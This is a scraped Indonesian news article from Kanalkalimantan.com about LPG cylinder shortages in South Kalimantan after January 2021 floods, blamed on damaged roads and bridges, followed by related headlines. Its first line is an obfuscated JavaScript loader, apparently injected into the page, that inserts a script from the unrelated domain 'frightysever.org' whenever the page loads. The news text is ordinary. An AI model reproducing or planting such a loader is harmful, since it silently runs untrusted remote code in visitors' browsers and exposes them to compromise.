(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca bencana banjir yang melanda Kalimantan Selatan (Kalsel), elpiji atau gas dalam tabung sepekan terakhir ini mendadak sulit dicari. Kalaupun ada yang menjual, harganya sudah jauh melambung tinggi.
Fenomena ini ditemukan hampir di seluruh wilayah Kabupaten Kota yang ada di Kalsel. Dinas Perdagangan yang bertanggung jawab untuk memastikan ketersediaan elpiji akhirnya mau- tak-mau buka suara terkait penyebabnya.
Kepala Dinas Perdagangan Provinsi Kalsel, Birhasani, menerangkan bahwa permasalahan langka dan tingginya harga gas elpiji saat ini bukan disebabkan tak adanya stok yang tersedia. Melainkan, pendistribusian gas berbentuk melon itu yang terkendala akibat akses infrastruktur terdampak banjir.
“Gas Elpiji kita banyak stoknya dan itu sudah dijamin oleh pihak Pertamina. Permasalahannya itu adalah pendistribusiannya ke masing-masing wilayah. Akibat bencana banjir ada beberapa jembatan yang putus dan jalan terendam, sehingga menghambat armada yang mendistribusikan gas elpiji ini,” terangnya, Selasa (26/1/2021).
Sulitnya pendistribusian gas elpiji, kata Birhasani, lebih dikhususkan di wilayah Hulu Sungai, mencangkup Kabupaten Hulu Sungai Selatan (HSS), Hulu Sungai Utara (HSU), dan Hulu Sungai Tengah (HST). Sakit sulitnya, ia menyebut pihak Pertamina sampai harus menyewa kapal.
“Sebenarnya kita sudah maksimal mencarikan jalan alternatif, tapi kapasitas jalan tidak memungkinkan. Ada ruas jalannya terlalu kecil dan rawan amblas. Sampai akhirnya, Pertamina menyewa kapal feri untuk menyuplai gas elpiji ini ke wilayah Hulu Sungai,” sebutnya.
Pun dengan upaya menyewa kapal ini, pendistribusian gas elpiji nyatanya juga tak berjalan maksimal. Adanya beban muatan mengharuskan perusahaan BUMN itu membatasi jumlah tabung gas yang akan dikirim.
Birhasani mengakui pendistribusian gas elpiji melalui kapal tersebut juga memakan waktu yang cukup banyak. Dalam hal ini, jalur yang ditempuh ialah melalui Kayu Tangi menyeberang ke Mandas Tanah. Kemudian dilanjutkan ke Tanjung Puting hingga tibalah ke perairan wilayah Hulu sungai.
“Tentunya pasokan gas elpiji tidak cepat dan tetap menjadi hambatan. Semua hal ini yang mengakibatkan banyaknya ditemukan antrean panjang masyarakat di SPBU. Kami Dinas Perdagangan saat ini gencar melakukan operasi pasar untuk memastikan ketika gas elpiji datang, langsung bisa menyentuh masyarakat,” tandasnya. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.